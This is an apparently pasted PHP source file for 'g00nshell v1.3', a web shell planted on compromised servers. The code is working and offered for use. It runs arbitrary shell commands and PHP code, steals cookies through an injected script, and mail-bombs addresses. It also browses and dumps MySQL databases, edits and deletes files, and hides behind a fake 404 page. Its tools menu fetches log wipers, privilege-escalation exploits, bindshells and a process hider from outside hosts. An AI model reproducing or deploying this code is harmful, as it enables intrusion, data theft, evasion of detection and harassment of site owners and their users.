g00n Shell - Shells-Center.Com


SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 7:11 a.m.

FORMAT: PHP

SIZE: 33.0 kB

HITS: 731

  1. <?php
  2. /*
  3. ######################################################################
  4. # [g00n]FiSh presents: #
  5. # g00nshell v1.3 final #
  6. ############################DOCUMENTATION#############################
  7. #To execute commands, simply include ?cmd=___ in the url. #
  8. #Ex: http://site.com/shl.php?cmd=whoami #
  9. # #
  10. #To steal cookies, use ?cookie=___ in the url. #
  11. #Ex: <script>document.location.href= #
  12. #'http://site.com/shl.php?cookie='+document.cookies</script> #
  13. ##########################VERIFICATION LEVELS#########################
  14. #0: No protection; anyone can access #
  15. #1: User-Agent required #
  16. #2: Require IP #
  17. #3: Basic Authentication #
  18. ##############################KNOWN BUGS##############################
  19. #Windows directory handling #
  20. # #
  21. #The SQL tool is NOT complete. There is currently no editing function#
  22. #available. Some time in the future this may be fixed, but for now #
  23. #don't complain to me about it #
  24. ################################SHOUTS################################
  25. #pr0be - Beta testing & CSS #
  26. #TrinTiTTY - Beta testing #
  27. #clorox - Beta testing #
  28. #Everyone else at g00ns.net #
  29. ########################NOTE TO ADMINISTRATORS########################
  30. #If this script has been found on your server without your approval, #
  31. #it would probably be wise to delete it and check your logs. #
  32. ######################################################################
  33. */
  34. error_reporting(0);
  35. // Configuration
  36. $auth = 0;
  37. $uakey = "724ea055b975621b9d679f7077257bd9"; // MD5 encoded user-agent
  38. $IP = array("127.0.0.2","127.0.0.1"); // IP Addresses allowed to access shell
  39. $email = ""; // E-mail address where cookies will be sent
  40. $user = "55c4b3899b00d20543d41170d2775e8f"; // MD5 encoded User
  41. $pass = "8634361d1a2e44420f44ef3612706bb5"; // MD5 encoded Password
  42. // Global Variables
  43. $version = "1.3 final";
  44. $self = $_SERVER['PHP_SELF'];
  45. $soft = $_SERVER["SERVER_SOFTWARE"];
  46. $servinf = split("[:]", getenv('HTTP_HOST'));
  47. $servip = $servinf[0];
  48. $servport = $servinf[1];
  49. $uname = php_uname();
  50. $curuser = @exec('whoami');
  51. $cmd = $_GET['cmd'];
  52. $act = $_GET['act'];
  53. $cmd = $_GET['cmd'];
  54. $cookie = $_GET['cookie'];
  55. $f = $_GET['f'];
  56. $curdir = cleandir(getcwd());
  57. if(!$dir){$dir = $_GET['dir'];}
  58. elseif($dir && $_SESSION['dir']){$dir = $_SESSION['dir'];}
  59. elseif($dir && $_SESSION['dir']){$dir = $curdir;}
  60. if($dir && $dir != "nullz"){$dir = cleandir($dir);}
  61. $contents = $_POST['contents'];
  62. $gf = $_POST['gf'];
  63. $img = $_GET['img'];
  64. session_start();
  65. @set_time_limit(5);
  66. switch($auth){ // Authentication switcher
  67. case 0: break;
  68. case 1: if(md5($_SERVER['HTTP_USER_AGENT']) != $uakey){hide();} break;
  69. case 2: if(!in_array($_SERVER['REMOTE_ADDR'],$IP)){hide();} break;
  70. case 3: if(!$_SERVER["PHP_AUTH_USER"]){userauth();} break;
  71. }
  72. function userauth(){ // Basic authentication function
  73. global $user, $pass;
  74. header("WWW-Authenticate: Basic realm='Secure Area'");
  75. if(md5($_SERVER["PHP_AUTH_USER"]) != $user || md5($_SERVER["PHP_AUTH_PW"] != $pass)){
  76. hide();
  77. die();
  78. }
  79. }
  80. if(!$act && !$cmd && !$cookie && !$f && !$dir && !$gf && !$img){main();}
  81. elseif(!$act && $cmd){
  82. style();
  83. echo("<b>Results:</b>\n<br><textarea rows=20 cols=100>");
  84. $cmd = exec($cmd, $result);
  85. foreach($result as $line){echo($line . "\n");}
  86. echo("</textarea>");
  87. }
  88. elseif($cookie){@mail("$email", "Cookie Data", "$cookie", "From: $email"); hide();} // Cookie stealer function
  89. elseif($act == "view" && $f && $dir){view($f, $dir);}
  90. elseif($img){img($img);}
  91. elseif($gf){grab($gf);}
  92. elseif($dir){files($dir);}
  93. else{
  94. switch($act){
  95. case "phpinfo": phpinfo();break;
  96. case "sql": sql();break;
  97. case "files": files($dir);break;
  98. case "email": email();break;
  99. case "cmd": cmd();break;
  100. case "upload": upload();break;
  101. case "tools": tools();break;
  102. case "sqllogin": sqllogin();break;
  103. case "sql": sql();break;
  104. case "lookup": lookup();break;
  105. case "kill": kill();break;
  106. case "phpexec": execphp();break;
  107. default: main();break;
  108. }
  109. }
  110. function cleandir($d){ // Function to clean up the $dir and $curdir variables
  111. $d = realpath($d);
  112. $d = str_replace("\\\\", "//", $d);
  113. $d = str_replace("////", "//", $d);
  114. $d = str_replace("\\", "/", $d);
  115. return($d);
  116. }
  117. function hide(){ // Hiding function
  118. global $self, $soft, $servip, $servport;
  119. die("<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'>
  120. <HTML><HEAD>
  121. <TITLE>404 Not Found</TITLE>
  122. </HEAD><BODY>
  123. <H1>Not Found</H1>
  124. The requested URL $self was not found on this server.<P>
  125. <P>Additionally, a 404 Not Found
  126. error was encountered while trying to use an ErrorDocument to handle the request.
  127. <HR>
  128. <ADDRESS>$soft Server at $servip Port $servport</ADDRESS>
  129. </BODY></HTML>");
  130. }
  131. function style(){ // Style / header function
  132. global $servip,$version;
  133. echo("<html>\n
  134. <head>\n
  135. <title>g00nshell v" . $version . " - " . $servip . "</title>\n
  136. <style>\n
  137. body { background-color:#000000; color:white; font-family:Verdana; font-size:11px; }\n
  138. h1 { color:white; font-family:Verdana; font-size:11px; }\n
  139. h3 { color:white; font-family:Verdana; font-size:11px; }\n
  140. input,textarea,select { color:#FFFFFF; background-color:#2F2F2F; border:1px solid #4F4F4F; font-family:Verdana; font-size:11px; }\n
  141. textarea { font-family:Courier; font-size:11px; }\n
  142. a { color:#6F6F6F; text-decoration:none; font-family:Verdana; font-size:11px; }\n
  143. a:hover { color:#7F7F7F; }\n
  144. td,th { font-size:12px; vertical-align:middle; }\n
  145. th { font-size:13px; }\n
  146. table { empty-cells:show;}\n
  147. .inf { color:#7F7F7F; }\n
  148. </style>\n
  149. </head>\n");
  150. }
  151. function main(){ // Main/menu function
  152. global $self, $servip, $servport, $uname, $soft, $banner, $curuser, $version;
  153. style();
  154. $act = array('cmd'=>'Command Execute','files'=>'File View','phpinfo'=>'PHP info', 'phpexec'=>'PHP Execute',
  155. 'tools'=>'Tools','sqllogin'=>'SQL','email'=>'Email','upload'=>'Get Files','lookup'=>'List Domains','bshell'=>'Bindshell','kill'=>'Kill Shell');
  156. $capt = array_flip($act);
  157. echo("<form method='GET' name='shell'>");
  158. echo("<b>Host:</b> <span class='inf'>" . $servip . "</span><br>");
  159. echo("<b>Server software:</b> <span class='inf'>" . $soft . "</span><br>");
  160. echo("<b>Uname:</b> <span class='inf'>" . $uname . "</span><br>");
  161. echo("<b>Shell Directory:</b> <span class='inf'>" . getcwd() . "</span><br>");
  162. echo("<div style='display:none' id='info'>");
  163. echo("<b>Current User:</b> <span class='inf'>" . $curuser . "</span><br>");
  164. echo("<b>ID:</b> <span class='inf'>" . @exec('id') . "</span><br>");
  165. if(@ini_get('safe_mode') != ""){echo("<b>Safemode:</b> <font color='red'>ON</font>");}
  166. else{echo("<b>Safemode:</b> <font color='green'>OFF</font>");}
  167. echo("\n<br>\n");
  168. if(@ini_get('open_basedir') != ""){echo("<b>Open Base Dir:</b> <font color='red'>ON</font> [ <span class='inf'>" . ini_get('open_basedir') . "</span> ]");}
  169. else{echo("<b>Open Base Dir:</b> <font color='green'>OFF</font>");}
  170. echo("\n<br>\n");
  171. if(@ini_get('disable_functions') != ""){echo("<b>Disabled functions:</b> " . @ini_get('disable_functions'));}
  172. else{echo("<b>Disabled functions:</b> None");}
  173. echo("\n<br>\n");
  174. if(@function_exists(mysql_connect)){echo("<b>MySQL:</b> <font color='green'>ON</font>");}
  175. else{echo("<b>MySQL:</b> <font color='red'>OFF</font>");}
  176. echo("</div>");
  177. echo("[ <a href='#hax' onClick=\"document.getElementById('info').style.display = 'block';\">More</a> ] ");
  178. echo("[ <a href='#hax' onClick=\"document.getElementById('info').style.display = 'none';\">Less</a> ]");
  179. echo("<center>");
  180. echo("<h3 align='center'>Links</h3>");
  181. if($_SERVER['QUERY_STRING']){foreach($act as $link){echo("[ <a href='?" . $_SERVER['QUERY_STRING'] . "&act=" . $capt[$link] . "' target='frm'>" . $link . "</a> ] ");}}
  182. else{foreach($act as $link){echo("[ <a href='?act=" . $capt[$link] . "' target='frm'>" . $link . "</a> ] ");}}
  183. echo("</center>");
  184. echo("<hr>");
  185. echo("<br><iframe name='frm' style='width:100%; height:65%; border:0;' src='?act=files'></iframe>");
  186. echo("<pre style='text-align:center'>:: g00nshell <font color='red'>v" . $version . "</font> ::</pre>");
  187. die();
  188. }
  189. function cmd(){ // Command execution function
  190. style();
  191. echo("<form name='CMD' method='POST'>");
  192. echo("<b>Command:</b><br>");
  193. echo("<input name='cmd' type='text' size='50'> ");
  194. echo("<select name='precmd'>");
  195. $precmd = array(''=>'','Read /etc/passwd'=>'cat /etc/passwd','Open ports'=>'netstat -an',
  196. 'Running Processes'=>'ps -aux', 'Uname'=>'uname -a', 'Get UID'=>'id',
  197. 'Create Junkfile (/tmp/z)'=>'dd if=/dev/zero of=/tmp/z bs=1M count=1024',
  198. 'Find passwd files'=>'find / -type f -name passwd');
  199. $capt = array_flip($precmd);
  200. foreach($precmd as $c){echo("<option value='" . $c . "'>" . $capt[$c] . "\n");}
  201. echo("</select><br>\n");
  202. echo("<input type='submit' value='Execute'>\n");
  203. echo("</form>\n");
  204. if($_POST['cmd'] != ""){$x = $_POST['cmd'];}
  205. elseif($_POST['precmd'] != ""){$x = $_POST['precmd'];}
  206. else{die();}
  207. echo("Results: <br><textarea rows=20 cols=100>");
  208. $cmd = @exec($x, $result);
  209. foreach($result as $line){echo($line . "\n");}
  210. echo("</textarea>");
  211. }
  212. function execphp(){ // PHP code execution function
  213. style();
  214. echo("<h4>Execute PHP Code</h4>");
  215. echo("<form method='POST'>");
  216. echo("<textarea name='phpexec' rows=5 cols=100>");
  217. if(!$_POST['phpexec']){echo("/*Don't include <? ?> tags*/\n");}
  218. echo(htmlentities($_POST['phpexec']) . "</textarea>\n<br>\n");
  219. echo("<input type='submit' value='Execute'>");
  220. echo("</form>");
  221. if($_POST['phpexec']){
  222. echo("<textarea rows=10 cols=100>");
  223. eval(stripslashes($_POST['phpexec']));
  224. echo("</textarea>");
  225. }
  226. }
  227. function sqllogin(){ // MySQL login function
  228. session_start();
  229. if($_SESSION['isloggedin'] == "true"){
  230. header("Location: ?act=sql");
  231. }
  232. style();
  233. echo("<form method='post' action='?act=sql'>");
  234. echo("User:<br><input type='text' name='un' size='30'><br>\n");
  235. echo("Password:<br><input type='text' name='pw' size='30'><br>\n");
  236. echo("Host:<br><input type='text' name='host' size='30' value='localhost'><br>\n");
  237. echo("Port:<br><input type='text' name='port' size='30' value='3306'><br>\n");
  238. echo("<input type='submit' value='Login'>");
  239. echo("</form>");
  240. die();
  241. }
  242. function sql(){ // General SQL Function
  243. session_start();
  244. if(!$_GET['sqlf']){style();}
  245. if($_POST['un'] && $_POST['pw']){;
  246. $_SESSION['sql_user'] = $_POST['un'];
  247. $_SESSION['sql_password'] = $_POST['pw'];
  248. }
  249. if($_POST['host']){$_SESSION['sql_host'] = $_POST['host'];}
  250. else{$_SESSION['sql_host'] = 'localhost';}
  251. if($_POST['port']){$_SESSION['sql_port'] = $_POST['port'];}
  252. else{$_SESSION['sql_port'] = '3306';}
  253. if($_SESSION['sql_user'] && $_SESSION['sql_password']){
  254. if(!($sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_port'], $_SESSION['sql_user'], $_SESSION['sql_password']))){
  255. unset($_SESSION['sql_user'], $_SESSION['sql_password'], $_SESSION['sql_host'], $_SESSION['sql_port']);
  256. echo("Invalid credentials<br>\n");
  257. die(sqllogin());
  258. }
  259. else{
  260. $_SESSION['isloggedin'] = "true";
  261. }
  262. }
  263. else{
  264. die(sqllogin());
  265. }
  266. if ($_GET['db']){
  267. mysql_select_db($_GET['db'], $sqlcon);
  268. if($_GET['sqlquery']){
  269. $dat = mysql_query($_GET['sqlquery'], $sqlcon) or die(mysql_error());
  270. $num = mysql_num_rows($dat);
  271. for($i=0;$i<$num;$i++){
  272. echo(mysql_result($dat, $i) . "<br>\n");
  273. }
  274. }
  275. else if($_GET['table'] && !$_GET['sqlf']){
  276. echo("<a href='?act=sql&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "&sqlf=ins'>Insert Row</a><br><br>\n");
  277. echo("<table border='1'>");
  278. $query = "SHOW COLUMNS FROM " . $_GET['table'];
  279. $result = mysql_query($query, $sqlcon) or die(mysql_error());
  280. $i = 0;
  281. $fields = array();
  282. while($row = mysql_fetch_assoc($result)){
  283. array_push($fields, $row['Field']);
  284. echo("<th>" . $fields[$i]);
  285. $i++;
  286. }
  287. $result = mysql_query("SELECT * FROM " . $_GET['table'], $sqlcon) or die(mysql_error());
  288. $num_rows = mysql_num_rows($result) or die(mysql_error());
  289. $y=0;
  290. for($x=1;$x<=$num_rows+1;$x++){
  291. if(!$_GET['p']){
  292. $_GET['p'] = 1;
  293. }
  294. if($_GET['p']){
  295. if($y > (30*($_GET['p']-1)) && $y <= 30*($_GET['p'])){
  296. echo("<tr>");
  297. for($i=0;$i<count($fields);$i++){
  298. $query = "SELECT " . $fields[$i] . " FROM " . $_GET['table'] . " WHERE " . $fields[0] . " = '" . $x . "'";
  299. $dat = mysql_query($query, $sqlcon) or die(mysql_error());
  300. while($row = mysql_fetch_row($dat)){
  301. echo("<td>" . $row[0] . "</td>");
  302. }
  303. }
  304. echo("</tr>\n");
  305. }
  306. }
  307. $y++;
  308. }
  309. echo("</table>\n");
  310. for($z=1;$z<=ceil($num_rows / 30);$z++){
  311. echo("<a href='?act=sql&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "&p=" . $z . "'>" . $z . "</a> | ");
  312. }
  313. }
  314. elseif($_GET['table'] && $_GET['sqlf']){
  315. switch($_GET['sqlf']){
  316. case "dl": sqldownload();break;
  317. case "ins": sqlinsert();break;
  318. default: $_GET['sqlf'] = "";
  319. }
  320. }
  321. else{
  322. echo("<table>");
  323. $query = "SHOW TABLES FROM " . $_GET['db'];
  324. $dat = mysql_query($query, $sqlcon) or die(mysql_error());
  325. while ($row = mysql_fetch_row($dat)){
  326. echo("<tr><td><a href='?act=sql&db=" . $_GET['db'] . "&table=" . $row[0] ."'>" . $row[0] . "</a></td><td>[<a href='?act=sql&db=" . $_GET['db'] . "&table=" . $row[0] ."&sqlf=dl'>Download</a>]</td></tr>\n");
  327. }
  328. echo("</table>");
  329. }
  330. }
  331. else{
  332. $dbs=mysql_list_dbs($sqlcon);
  333. while($row = mysql_fetch_object($dbs)) {
  334. echo("<a href='?act=sql&db=" . $row->Database . "'>" . $row->Database . "</a><br>\n");
  335. }
  336. }
  337. mysql_close($sqlcon);
  338. }
  339. function sqldownload(){ // Download sql file function
  340. @ob_flush;
  341. $sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_port'], $_SESSION['sql_user'], $_SESSION['sql_password']);
  342. mysql_select_db($_GET['db'], $sqlcon);
  343. $query = "SHOW COLUMNS FROM " . $_GET['table'];
  344. $result = mysql_query($query, $sqlcon) or die(mysql_error());
  345. $fields = array();
  346. while($row = mysql_fetch_assoc($result)){
  347. array_push($fields, $row['Field']);
  348. $i++;
  349. }
  350. $result = mysql_query("SELECT * FROM " . $_GET['table'], $sqlcon) or die(mysql_error());
  351. $num_rows = mysql_num_rows($result) or die(mysql_error());
  352. for($x=1;$x<$num_rows;$x++){
  353. $out .= "(";
  354. for($i=0;$i<count($fields);$i++){
  355. $out .= "'";
  356. $query = "SELECT " . $fields[$i] . " FROM " . $_GET['table'] . " WHERE " . $fields[0] . " = '" . $x . "'";
  357. $dat = mysql_query($query, $sqlcon) or die(mysql_error());
  358. while($row = mysql_fetch_row($dat)){
  359. if($row[0] == ""){
  360. $row[0] = "NULL";
  361. }
  362. if($i != count($fields)-1){
  363. $out .= str_replace("\r\n", "\\r\\n", $row[0]) . "', ";
  364. }
  365. else{
  366. $out .= $row[0]. "'";
  367. }
  368. }
  369. }
  370. $out .= ");\n";
  371. }
  372. $filename = $_GET['table'] . "-" . time() . '.sql';
  373. header("Content-type: application/octet-stream");
  374. header("Content-length: " . strlen($out));
  375. header("Content-disposition: attachment; filename=" . $filename . ";");
  376. echo($out);
  377. die();
  378. }
  379. function sqlinsert(){
  380. style();
  381. $sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_port'], $_SESSION['sql_user'], $_SESSION['sql_password']);
  382. mysql_select_db($_GET['db'], $sqlcon);
  383. if($_POST['ins']){
  384. unset($_POST['ins']);
  385. $fields = array_flip($_POST);
  386. $f = implode(",", $fields);
  387. $v = implode(",", $_POST);
  388. $query = "INSERT INTO " . $_GET['table'] . " (" . $f . ") VALUES (" . $v . ")";
  389. mysql_query($query, $sqlcon) or die(mysql_error());
  390. die("Row inserted.<br>\n<a href='?act=sql&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "'>Go back</a>");
  391. }
  392. $query = "SHOW COLUMNS FROM " . $_GET['table'];
  393. $result = mysql_query($query, $sqlcon) or die(mysql_error());
  394. $i = 0;
  395. $fields = array();
  396. echo("<form method='POST'>");
  397. echo("<table>");
  398. while($row = mysql_fetch_assoc($result)){
  399. array_push($fields, $row['Field']);
  400. echo("<tr><td><b>" . $fields[$i] . "</b><td><input type='text' name='" . $fields[$i] . "'><br>\n");
  401. $i++;
  402. }
  403. echo("</table>");
  404. echo("<br>\n<input type='submit' value='Insert' name='ins'>");
  405. echo("</form>");
  406. }
  407. function nicesize($size){
  408. if(!$size){return false;}
  409. if ($size >= 1073741824){return(round($size / 1073741824) . " GB");}
  410. elseif ($size >= 1048576){return(round($size / 1048576) . " MB");}
  411. elseif ($size >= 1024){return(round($size / 1024) . " KB");}
  412. else{return($size . " B");}
  413. }
  414. function files($dir){ // File manipulator function
  415. style();
  416. global $self, $curdir;
  417. if($dir==""){$dir = $curdir;}
  418. $dirx = explode("/", $dir);
  419. $files = array();
  420. $folders = array();
  421. echo("<form method='GET'>");
  422. echo("<input type='text' name='dir' value='" . $dir . "' size='40'>");
  423. echo("<input type='submit' value='Go'>");
  424. echo("</form>");
  425. echo("<h4>File list for ");
  426. for($i=0;$i<count($dirx);$i++){
  427. $totalpath .= $dirx[$i] . "/";
  428. echo("<a href='?dir=" . $totalpath . "'>$dirx[$i]</a>" . "/");
  429. }
  430. echo("</h4>");
  431. echo("<table>");
  432. echo("<th>File Name<th>File Size</th>");
  433. if ($handle = opendir($dir)) {
  434. while (false != ($link = readdir($handle))) {
  435. if (is_dir($dir . '/' . $link)){
  436. $file = array();
  437. if(is_writable($dir . '/' . $link)){$file['perm']='write';}
  438. elseif(is_readable($dir . '/' . $link)){$file['perm']='read';}
  439. else{$file['perm']='none';}
  440. switch($file['perm']){
  441. case "write": @$file['link'] = "<a href='?dir=$dir/$link'><font color='green'>$link</font></a>"; break;
  442. case "read": @$file['link'] = "<a href='?dir=$dir/$link'><font color='yellow'>$link</font></a>"; break;
  443. case "none": @$file['link'] = "<a href='?dir=$dir/$link'><font color='red'>$link</font></a>"; break;
  444. default: @$file['link'] = "<a href='?dir=$dir/$link'><font color='red'>$link</font></a>"; break;
  445. }
  446. @$file['icon'] = "folder";
  447. if($_SERVER['QUERY_STRING']){$folder = "<img src='?" . $_SERVER['QUERY_STRING'] . "&img=" . $file['icon']. "'> " . $file['link'];}
  448. else{$folder = "<img src='?img=" . $file['icon']. "'> " . $file['link'];}
  449. array_push($folders, $folder);
  450. }
  451. else{
  452. $file = array();
  453. $ext = strtolower(end(explode(".", $link)));
  454. if(!$file['size'] = nicesize(@filesize($dir . '/' . $link))){
  455. $file['size'] = "0B";
  456. }
  457. if(is_writable($dir . '/' . $link)){$file['perm']='write';}
  458. elseif(is_readable($dir . '/' . $link)){$file['perm']='read';}
  459. else{$file['perm']='none';}
  460. switch($file['perm']){
  461. case "write": @$file['link'] = "<a href='?act=view&f=" . $link . "&dir=$dir'><font color='green'>$link</font></a>"; break;
  462. case "read": @$file['link'] = "<a href='?act=view&f=" . $link . "&dir=$dir'><font color='yellow'>$link</font></a>"; break;
  463. case "none": @$file['link'] = "<a href='?act=view&f=" . $link . "&dir=$dir'><font color='red'>$link</font></a>"; break;
  464. default: @$file['link'] = "<a href='?act=view&f=" . $link . "&dir=$dir'><font color='red'>$link</a></font>"; break;
  465. }
  466. switch($ext){
  467. case "exe": case "com": case "jar": case "": $file['icon']="binary"; break;
  468. case "jpg": case "gif": case "png": case "bmp": $file['icon']="image"; break;
  469. case "zip": case "tar": case "rar": case "gz": case "cab": case "bz2": case "gzip": $file['icon']="compressed"; break;
  470. case "txt": case "doc": case "pdf": case "htm": case "html": case "rtf": $file['icon']="text"; break;
  471. case "wav": case "mp3": case "mp4": case "wma": $file['icon']="sound"; break;
  472. case "js": case "vbs": case "c": case "h": case "sh": case "pl": case "py": case "php": case "h": $file['icon']="script"; break;
  473. default: $file['icon'] = "unknown"; break;
  474. }
  475. if($_SERVER['QUERY_STRING']){$file = "<tr><td><img src='?" . $_SERVER['QUERY_STRING'] . "&img=" . $file['icon']. "' height='18' width='18'> " . $file['link'] . "</td><td>" . $file['size'] . "</td></tr>\n";}
  476. else{$file = "<tr><td><img src='?img=" . $file['icon']. "' height='18' width='18'> " . $file['link'] . "<td>" . $file['size'] . "</td></tr>\n";}
  477. array_push($files, $file);
  478. }
  479. }
  480. foreach($folders as $folder){echo("<tr><td>$folder</td><td>DIR</td></tr>\n");}
  481. foreach($files as $file){echo($file);}
  482. echo("</table>");
  483. closedir($handle);
  484. }
  485. }
  486. function email(){ // Email bomber function
  487. $times = $_POST['times'];
  488. $to = $_POST['to'];
  489. $subject = $_POST['subject'];
  490. $body = $_POST['body'];
  491. $from = $_POST['from'];
  492. style();
  493. echo("<h2>Mail Bomber</h2>
  494. <form method='POST' action='?act=email'>
  495. <b>Your address:</b><br>
  496. <input name='from' type='text' size='35'><br>
  497. <b>Their address:</b><br>
  498. <input name='to' type='text' size='35'><br>
  499. <b>Subject:</b><br>
  500. <input name='subject' type='text' size='35'><br>
  501. <b>Text:</b><br>
  502. <input name='body' type='text' size='35'><br>
  503. <b>How many times:</b><br>
  504. <input name='times' type='text' size='5'><br><br>
  505. <input name='submit' type='submit' value='Submit'>
  506. </form>");
  507. if ($to && $from){for($i=0;$i<$times;$i++){mail("$to", "$subject", "$body", "From: $from");}}
  508. }
  509. function view($filename, $dir){ // File view function
  510. if($_POST['fileact'] == "Download"){
  511. header("Content-type: application/octet-stream");
  512. header("Content-length: ".strlen($_POST['contents']));
  513. header("Content-disposition: attachment; filename=" . basename($filename) . ";");
  514. $handle = fopen($filename, "r");
  515. echo(fread($handle, filesize($filename)));
  516. die();
  517. }
  518. style();
  519. if($_POST['contents'] && $_POST['fileact'] == "Save"){
  520. $handle = fopen($filename, 'w');
  521. fwrite($handle, stripslashes($_POST['contents']));
  522. fclose($handle);
  523. echo("Saved file.<br><br>");
  524. echo("<a href='?act=view&f=$filename&dir=nullz'>Go back</a>");
  525. die();
  526. }
  527. elseif($_POST['fileact'] == "Delete"){
  528. unlink($filename);
  529. echo("Deleted file.<br><br>");
  530. echo("<a href='?act=files'>Go back</a>");
  531. die();
  532. }
  533. if($dir != "nullz"){ // heh
  534. $filename = $dir."/".$filename;
  535. }
  536. $bad = array("<", ">");
  537. $good = array("<", ">");
  538. $file = fopen($filename, 'r');
  539. $content = fread($file, @filesize($filename));
  540. echo("<form name='file' method='POST' action='?act=view&dir=$dir&f=$filename'>");
  541. echo("<textarea style='width:100%; height:92%;' name='contents'>");
  542. echo(str_replace($bad, $good, $content)."\n");
  543. echo("</textarea>");
  544. echo("<input name='fileact' type='submit' value='Save'>");
  545. echo("<input name='fileact' type='submit' value='Delete'>");
  546. echo("<input name='fileact' type='submit' value='Download'>");
  547. echo("</form>");
  548. }
  549. function edit($file, $contents){ // File edit function
  550. style();
  551. $handle = fopen($file, 'w');
  552. fwrite($handle, $contents);
  553. fclose($handle);
  554. echo("Saved file.<br><br>");
  555. echo("<a href='?act=files'>Go back</a>");
  556. }
  557. function upload(){ // Uploading frontend function
  558. global $curdir;
  559. style();
  560. echo("<form name='files' enctype='multipart/form-data' method='POST'>
  561. <b>Output Directory</b><br>
  562. <input type='text' name='loc' size='65' value='" . $curdir . "'><br><br>
  563. <b>Remote Upload</b><br>
  564. <input type='text' name='rem' size='65'>
  565. <input type='submit' value='Grab'><br><br>
  566. <b>Local File Upload</b><br>
  567. <input name='up' type='file' size='65'>
  568. <input type='submit' value='Upload'>
  569. </form><br>");
  570. if($_POST['rem']){grab($_POST['rem']);}
  571. if($_FILES['up']){up($_FILES['up']);}
  572. }
  573. function up($up){ // Uploading backend function
  574. style();
  575. $updir = $_POST['loc'];
  576. move_uploaded_file($up["tmp_name"], $updir . "/" . $up["name"]);
  577. die("File has been uploaded.");
  578. }
  579. function grab($file){ // Uploading backend function
  580. style();
  581. $updir = $_POST['loc'];
  582. $filex = array_pop(explode("/", $file));
  583. if(exec("wget $file -b -O $updir/$filex")){die("File has been uploaded.");}
  584. else{die("File upload failed.");}
  585. }
  586. function tools(){ // Useful tools function
  587. global $curdir;
  588. style();
  589. $tools = array(
  590. "--- Log wipers ---"=>"1",
  591. "Vanish2.tgz"=>"http://packetstormsecurity.org/UNIX/penetration/log-wipers/vanish2.tgz",
  592. "Cloak.c"=>"http://packetstormsecurity.org/UNIX/penetration/log-wipers/cloak.c",
  593. "gh0st.sh"=>"http://packetstormsecurity.org/UNIX/penetration/log-wipers/gh0st.sh",
  594. "--- Priv Escalation ---"=>"2",
  595. "h00lyshit - Linux 2.6 ALL"=>"http://someshit.net/files/xpl/h00lyshit",
  596. "k-rad3 - Linux <= 2.6.11"=>"http://someshit.net/files/xpl/krad3",
  597. "raptor - Linux <= 2.6.17.4"=>"http://someshit.net/files/xpl/raptor",
  598. "rootbsd - BSD v?"=>"http://someshit.net/files/xpl/rootbsd",
  599. "--- Bindshells ---"=>"3",
  600. "THC rwwwshell-1.6.perl"=>"http://packetstormsecurity.org/groups/thc/rwwwshell-1.6.perl",
  601. "Basic Perl bindshell"=>"http://packetstormsecurity.org/groups/synnergy/bindshell-unix",
  602. "--- Misc ---"=>"4",
  603. "MOCKS SOCKS4 Proxy"=>"http://superb-east.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz",
  604. "xps.c (proc hider)"=>"http://packetstormsecurity.org/groups/shadowpenguin/unix-tools/xps.c");
  605. $names = array_flip($tools);
  606. echo("<b>Tools:</b>");
  607. echo("<form method='post'>");
  608. echo("<b>Output Directory</b><br>");
  609. echo("<input type='text' name='loc' size='65' value='" . $curdir . "'><br><br>");
  610. echo("<select name='gf' style='align:center;'>");
  611. foreach($tools as $tool) {echo("<option value='" . $tool . "'>" . $names[$tool] . "</option>\n");}
  612. echo("</select>");
  613. echo("<br><input type='submit' value='Grab'>");
  614. echo("</form>");
  615. }
  616. function lookup(){ // Domain lookup function
  617. style();
  618. global $servinf;
  619. $script = "import urllib, urllib2, sys, re
  620. req = urllib2.Request('http://www.seologs.com/ip-domains.html', urllib.urlencode({'domainname' : sys.argv[1]}))
  621. site = re.findall('.+\) (.+)<br>', urllib2.urlopen(req).read())
  622. for i in xrange(0,len(site)):
  623. print site[i]"; // My ***y python script
  624. $handle = fopen('lookup.py', 'w');
  625. fwrite($handle, $script);
  626. fclose($handle);
  627. echo("<h4>Domains</h4>");
  628. echo("<ul>");
  629. $cmd = exec("python lookup.py " . $servinf[0], $ret);
  630. foreach($ret as $site){echo("<li>" . $site . "\n");}
  631. unlink('lookup.py');
  632. }
  633. function img($img){ // Images function
  634. $images = array(
  635. "folder"=>"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAA" .
  636. "gALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwq" .
  637. "d1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  638. "image"=>"R0lGODlhFAAWAOMAAP////8zM8z//8zMzJmZmWZmZmYAADMzMwCZzACZMwAzZgAAAAAAAAAAAAAAAAAAACH+TlRoaX" .
  639. "MgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1i" .
  640. "ZXIgMTk5NQAh+QQBAAACACwAAAAAFAAWAAAEkPDISae4WBzAu99Hdm1eSYYZWXYqOgJBLAcDoNrYNssGsBy/4GsX6y" .
  641. "2OyMWQ2OMQngSlBjZLWBM1AFSqkyU4A2tWywUMYt/wlTSIvgYGA/Zq3QwU7mmHvh4g8GUsfAUHCH95NwMHV4SGh4Ed" .
  642. "ihOOjy8rZpSVeiV+mYCWHncKo6Sfm5cliAdQrK1PQBlJsrNSEQA7",
  643. "unknown"=>"R0lGODlhFAAWAMIAAP///8z//5mZmTMzMwAAAAAAAAAAAAAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG" .
  644. "9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAABACwAAAAAFAAW" .
  645. "AAADaDi6vPEwDECrnSO+aTvPEQcIAmGaIrhR5XmKgMq1LkoMN7ECrjDWp52r0iPpJJ0KjUAq7SxLE+sI+9V8vycFiM" .
